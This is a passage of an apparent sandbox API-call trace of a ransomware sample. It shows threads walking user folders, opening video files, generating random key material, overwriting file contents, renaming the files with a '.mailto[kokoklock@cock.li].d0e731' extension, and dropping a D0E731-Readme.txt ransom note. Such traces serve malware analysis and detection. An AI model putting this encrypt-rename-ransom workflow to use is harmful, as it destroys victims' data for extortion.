Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0072.676] wcscat (in: _Dest=0x347d0f8, _Source="Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml" [0072.676] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347d0f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x534 [0072.677] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x433f4072, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x433f4072, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x1bd7df5e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b826, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoutilstat.etw.man", cAlternateFileName="MSOUTI~1.MAN")) returned 1 [0072.677] wcscmp (_String1="msoutilstat.etw.man", _String2=".") returned 1 [0072.677] wcscmp (_String1="msoutilstat.etw.man", _String2="..") returned 1 [0072.677] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc6) returned 0x34349c8 [0072.677] wcscpy (in: _Dest=0x34349c8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0072.677] wcscat (in: _Dest=0x34349c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0072.677] wcscat (in: _Dest=0x34349c8, _Source="msoutilstat.etw.man" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man" [0072.677] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34349c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x628 [0072.678] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42b4f7c0, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x42b4f7c0, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x244f1ded, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9bddd, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordEtw.man", cAlternateFileName="")) returned 1 [0072.678] wcscmp (_String1="wordEtw.man", _String2=".") returned 1 [0072.678] wcscmp (_String1="wordEtw.man", _String2="..") returned 1 [0072.678] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb6) returned 0x33fcad8 [0072.678] wcscpy (in: _Dest=0x33fcad8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0072.678] wcscat (in: _Dest=0x33fcad8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0072.678] wcscat (in: _Dest=0x33fcad8, _Source="wordEtw.man" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man" [0072.678] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33fcad8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x538 [0072.679] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42b4f7c0, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x42b4f7c0, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x244f1ded, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9bddd, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordEtw.man", cAlternateFileName="")) returned 0 [0072.679] FindClose (in: hFindFile=0x34345a8 | out: hFindFile=0x34345a8) returned 1 [0072.679] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ec5c0) returned 1 [0072.679] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c8f68) returned 1 [0072.680] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6870) returned 1 [0072.680] RtlExitUserThread (Status=0x0) Thread: id = 573 os_tid = 0x11a0 [0072.502] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x54) returned 0x3480480 [0072.502] wcscpy (in: _Dest=0x3480480, _Source="C:\\Users\\All Users\\Microsoft\\AppV\\Setup" | out: _Dest="C:\\Users\\All Users\\Microsoft\\AppV\\Setup") returned="C:\\Users\\All Users\\Microsoft\\AppV\\Setup" [0072.502] wcscat (in: _Dest=0x3480480, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\AppV\\Setup\\") returned="C:\\Users\\All Users\\Microsoft\\AppV\\Setup\\" [0072.502] wcscat (in: _Dest=0x3480480, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\AppV\\Setup\\*") returned="C:\\Users\\All Users\\Microsoft\\AppV\\Setup\\*" [0072.502] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3478ae0 [0072.502] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\AppV\\Setup\\*", lpFindFileData=0x3478ae0 | out: lpFindFileData=0x3478ae0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d9bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34345e8 [0072.502] wcscmp (_String1=".", _String2=".") returned 0 [0072.502] FindNextFileW (in: hFindFile=0x34345e8, lpFindFileData=0x3478ae0 | out: lpFindFileData=0x3478ae0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d9bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.502] wcscmp (_String1="..", _String2=".") returned 1 [0072.502] wcscmp (_String1="..", _String2="..") returned 0 [0072.502] FindNextFileW (in: hFindFile=0x34345e8, lpFindFileData=0x3478ae0 | out: lpFindFileData=0x3478ae0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x799dd27b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe2889e45, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe2889e45, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1368, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeIntegrator.ps1", cAlternateFileName="")) returned 1 [0072.502] wcscmp (_String1="OfficeIntegrator.ps1", _String2=".") returned 1 [0072.502] wcscmp (_String1="OfficeIntegrator.ps1", _String2="..") returned 1 [0072.503] FindNextFileW (in: hFindFile=0x34345e8, lpFindFileData=0x3478ae0 | out: lpFindFileData=0x3478ae0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x799dd27b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe2889e45, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe2889e45, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1368, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeIntegrator.ps1", cAlternateFileName="")) returned 0 [0072.503] FindClose (in: hFindFile=0x34345e8 | out: hFindFile=0x34345e8) returned 1 [0072.503] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478ae0) returned 1 [0072.503] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480480) returned 1 [0072.503] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34314c0) returned 1 [0072.503] RtlExitUserThread (Status=0x0) Thread: id = 574 os_tid = 0x11a4 [0072.504] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\CAzhH70 S6pQlPU_FzwT.flv" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\cazhh70 s6pqlpu_fzwt.flv")) returned 0x20 [0072.504] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\CAzhH70 S6pQlPU_FzwT.flv", dwFileAttributes=0x20) returned 1 [0072.504] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\CAzhH70 S6pQlPU_FzwT.flv" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\cazhh70 s6pqlpu_fzwt.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0072.504] GetFileSizeEx (in: hFile=0x674, lpFileSize=0x16cbfc50 | out: lpFileSize=0x16cbfc50*=84169) returned 1 [0072.504] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x148c5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.504] ReadFile (in: hFile=0x674, lpBuffer=0x16cbfc24, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x16cbfc20, lpOverlapped=0x0 | out: lpBuffer=0x16cbfc24*, lpNumberOfBytesRead=0x16cbfc20*=0x4, lpOverlapped=0x0) returned 1 [0072.505] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.505] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea28 [0072.505] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea50 [0072.505] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e7f8 [0072.505] NtQuerySystemTime (in: CurrentTime=0x16cbfbfc | out: CurrentTime=0x16cbfbfc*=132121176303940210) returned 0x0 [0072.505] RtlRandom (in: Seed=0x16cbfc08 | out: Seed=0x16cbfc08) returned 0xdee8909 [0072.505] RtlRandom (in: Seed=0x16cbfc08 | out: Seed=0x16cbfc08) returned 0xc13b51c3 [0072.505] RtlRandom (in: Seed=0x16cbfc08 | out: Seed=0x16cbfc08) returned 0x4a0aa14e [0072.505] RtlRandom (in: Seed=0x16cbfc08 | out: Seed=0x16cbfc08) returned 0x5bc9b40 [0072.505] RtlRandom (in: Seed=0x16cbfc08 | out: Seed=0x16cbfc08) returned 0xc057fff [0072.505] RtlRandom (in: Seed=0x16cbfc08 | out: Seed=0x16cbfc08) returned 0x348694e5 [0072.505] RtlRandom (in: Seed=0x16cbfc08 | out: Seed=0x16cbfc08) returned 0x4d40795b [0072.505] RtlRandom (in: Seed=0x16cbfc08 | out: Seed=0x16cbfc08) returned 0x481c0138 [0072.505] RtlRandom (in: Seed=0x16cbfc08 | out: Seed=0x16cbfc08) returned 0x20be00fb [0072.505] RtlRandom (in: Seed=0x16cbfc08 | out: Seed=0x16cbfc08) returned 0x5f306801 [0072.505] RtlRandom (in: Seed=0x16cbfc08 | out: Seed=0x16cbfc08) returned 0x8e9ec06d [0072.505] RtlRandom (in: Seed=0x16cbfc08 | out: Seed=0x16cbfc08) returned 0xbfb12f89 [0072.505] RtlRandom (in: Seed=0x16cbfc08 | out: Seed=0x16cbfc08) returned 0x2a938d93 [0072.505] RtlRandom (in: Seed=0x16cbfc08 | out: Seed=0x16cbfc08) returned 0x73108a87 [0072.505] RtlRandom (in: Seed=0x16cbfc08 | out: Seed=0x16cbfc08) returned 0xcdae4ddd [0072.505] RtlRandom (in: Seed=0x16cbfc08 | out: Seed=0x16cbfc08) returned 0x64fe3dbd [0072.505] RtlRandom (in: Seed=0x16cbfc08 | out: Seed=0x16cbfc08) returned 0x63a54833 [0072.505] RtlRandom (in: Seed=0x16cbfc08 | out: Seed=0x16cbfc08) returned 0xa2a84288 [0072.505] RtlRandom (in: Seed=0x16cbfc08 | out: Seed=0x16cbfc08) returned 0x247ac032 [0072.505] RtlRandom (in: Seed=0x16cbfc08 | out: Seed=0x16cbfc08) returned 0x44c499ec [0072.505] RtlRandom (in: Seed=0x16cbfc08 | out: Seed=0x16cbfc08) returned 0x1d6fd092 [0072.505] RtlRandom (in: Seed=0x16cbfc08 | out: Seed=0x16cbfc08) returned 0x9a9bf171 [0072.505] RtlRandom (in: Seed=0x16cbfc08 | out: Seed=0x16cbfc08) returned 0x958bda19 [0072.506] RtlRandom (in: Seed=0x16cbfc08 | out: Seed=0x16cbfc08) returned 0x7abd28ef [0072.506] RtlRandom (in: Seed=0x16cbfc08 | out: Seed=0x16cbfc08) returned 0x1adf4e85 [0072.506] RtlRandom (in: Seed=0x16cbfc08 | out: Seed=0x16cbfc08) returned 0x37a7d548 [0072.506] RtlRandom (in: Seed=0x16cbfc08 | out: Seed=0x16cbfc08) returned 0x1e1bf1f6 [0072.506] RtlRandom (in: Seed=0x16cbfc08 | out: Seed=0x16cbfc08) returned 0x9c2f4ac3 [0072.506] RtlRandom (in: Seed=0x16cbfc08 | out: Seed=0x16cbfc08) returned 0xbef901f2 [0072.506] RtlRandom (in: Seed=0x16cbfc08 | out: Seed=0x16cbfc08) returned 0x79ef47b [0072.506] RtlRandom (in: Seed=0x16cbfc08 | out: Seed=0x16cbfc08) returned 0xabe324d [0072.506] RtlRandom (in: Seed=0x16cbfc08 | out: Seed=0x16cbfc08) returned 0xa8601cab [0072.517] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.517] ReadFile (in: hFile=0x674, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x16cbfbd4, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x16cbfbd4*=0x4096, lpOverlapped=0x0) returned 1 [0072.517] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.517] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd088 [0072.517] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0072.517] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e910 [0072.517] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e910) returned 1 [0072.518] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348a220 [0072.518] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea28 [0072.518] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e910 [0072.518] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e910) returned 1 [0072.518] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0072.518] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd088) returned 1 [0072.518] WriteFile (in: hFile=0x674, lpBuffer=0x348a220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x16cbfbd4, lpOverlapped=0x0 | out: lpBuffer=0x348a220*, lpNumberOfBytesWritten=0x16cbfbd4*=0x4096, lpOverlapped=0x0) returned 1 [0072.518] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a220) returned 1 [0072.518] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x148c9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.518] WriteFile (in: hFile=0x674, lpBuffer=0x341ea28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x16cbfc0c, lpOverlapped=0x0 | out: lpBuffer=0x341ea28*, lpNumberOfBytesWritten=0x16cbfc0c*=0x20, lpOverlapped=0x0) returned 1 [0072.520] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea28) returned 1 [0072.520] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0072.520] WriteFile (in: hFile=0x674, lpBuffer=0x341e8e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x16cbfc20, lpOverlapped=0x0 | out: lpBuffer=0x341e8e8*, lpNumberOfBytesWritten=0x16cbfc20*=0x8, lpOverlapped=0x0) returned 1 [0072.520] WriteFile (in: hFile=0x674, lpBuffer=0x16cbfc38*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x16cbfc20, lpOverlapped=0x0 | out: lpBuffer=0x16cbfc38*, lpNumberOfBytesWritten=0x16cbfc20*=0x4, lpOverlapped=0x0) returned 1 [0072.520] WriteFile (in: hFile=0x674, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x16cbfc20, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x16cbfc20*=0x4, lpOverlapped=0x0) returned 1 [0072.520] WriteFile (in: hFile=0x674, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x16cbfc20, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x16cbfc20*=0x6c, lpOverlapped=0x0) returned 1 [0072.520] WriteFile (in: hFile=0x674, lpBuffer=0x341ea50*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x16cbfc20, lpOverlapped=0x0 | out: lpBuffer=0x341ea50*, lpNumberOfBytesWritten=0x16cbfc20*=0x20, lpOverlapped=0x0) returned 1 [0072.520] WriteFile (in: hFile=0x674, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x16cbfc20, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x16cbfc20*=0x4, lpOverlapped=0x0) returned 1 [0072.520] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea50) returned 1 [0072.520] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea78) returned 1 [0072.520] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e8e8) returned 1 [0072.520] CloseHandle (hObject=0x674) returned 1 [0072.521] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe8) returned 0x33fb1b0 [0072.521] wcscpy (in: _Dest=0x33fb1b0, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\CAzhH70 S6pQlPU_FzwT.flv" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\CAzhH70 S6pQlPU_FzwT.flv") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\CAzhH70 S6pQlPU_FzwT.flv" [0072.521] wcscat (in: _Dest=0x33fb1b0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\CAzhH70 S6pQlPU_FzwT.flv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\CAzhH70 S6pQlPU_FzwT.flv.mailto[kokoklock@cock.li].d0e731" [0072.521] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\CAzhH70 S6pQlPU_FzwT.flv" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\cazhh70 s6pqlpu_fzwt.flv"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\CAzhH70 S6pQlPU_FzwT.flv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\cazhh70 s6pqlpu_fzwt.flv.mailto[kokoklock@cock.li].d0e731")) returned 1 [0072.521] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\CAzhH70 S6pQlPU_FzwT.flv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0072.522] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fb1b0) returned 1 [0072.522] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\CAzhH70 S6pQlPU_FzwT.flv", dwFileAttributes=0x20) returned 0 [0072.522] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9a) returned 0x33e6918 [0072.522] wcscpy (in: _Dest=0x33e6918, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\" [0072.522] wcscat (in: _Dest=0x33e6918, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\D0E731-Readme.txt" [0072.522] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\d0e731-readme.txt")) returned 0xffffffff [0072.522] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0072.523] WriteFile (in: hFile=0x674, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x16cbfc1c, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x16cbfc1c*=0x481, lpOverlapped=0x0) returned 1 [0072.524] CloseHandle (hObject=0x674) returned 1 [0072.524] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6918) returned 1 [0072.524] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ce878) returned 1 [0072.524] RtlExitUserThread (Status=0x1) Thread: id = 575 os_tid = 0x11a8 [0072.526] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\dv5eftIdze9.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\dv5eftidze9.mkv")) returned 0x20 [0072.526] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\dv5eftIdze9.mkv", dwFileAttributes=0x20) returned 1 [0072.526] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\dv5eftIdze9.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\dv5eftidze9.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0072.526] GetFileSizeEx (in: hFile=0x674, lpFileSize=0x16d3fda0 | out: lpFileSize=0x16d3fda0*=59746) returned 1 [0072.526] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0xe95e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.526] ReadFile (in: hFile=0x674, lpBuffer=0x16d3fd74, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x16d3fd70, lpOverlapped=0x0 | out: lpBuffer=0x16d3fd74*, lpNumberOfBytesRead=0x16d3fd70*=0x4, lpOverlapped=0x0) returned 1 [0072.526] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.526] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea28 [0072.526] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea50 [0072.527] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e8e8 [0072.527] NtQuerySystemTime (in: CurrentTime=0x16d3fd4c | out: CurrentTime=0x16d3fd4c*=132121176304252638) returned 0x0 [0072.527] RtlRandom (in: Seed=0x16d3fd58 | out: Seed=0x16d3fd58) returned 0xf2d6ff6d [0072.527] RtlRandom (in: Seed=0x16d3fd58 | out: Seed=0x16d3fd58) returned 0x5ac65956 [0072.527] RtlRandom (in: Seed=0x16d3fd58 | out: Seed=0x16d3fd58) returned 0xed5d8f83 [0072.527] RtlRandom (in: Seed=0x16d3fd58 | out: Seed=0x16d3fd58) returned 0x5353483b [0072.527] RtlRandom (in: 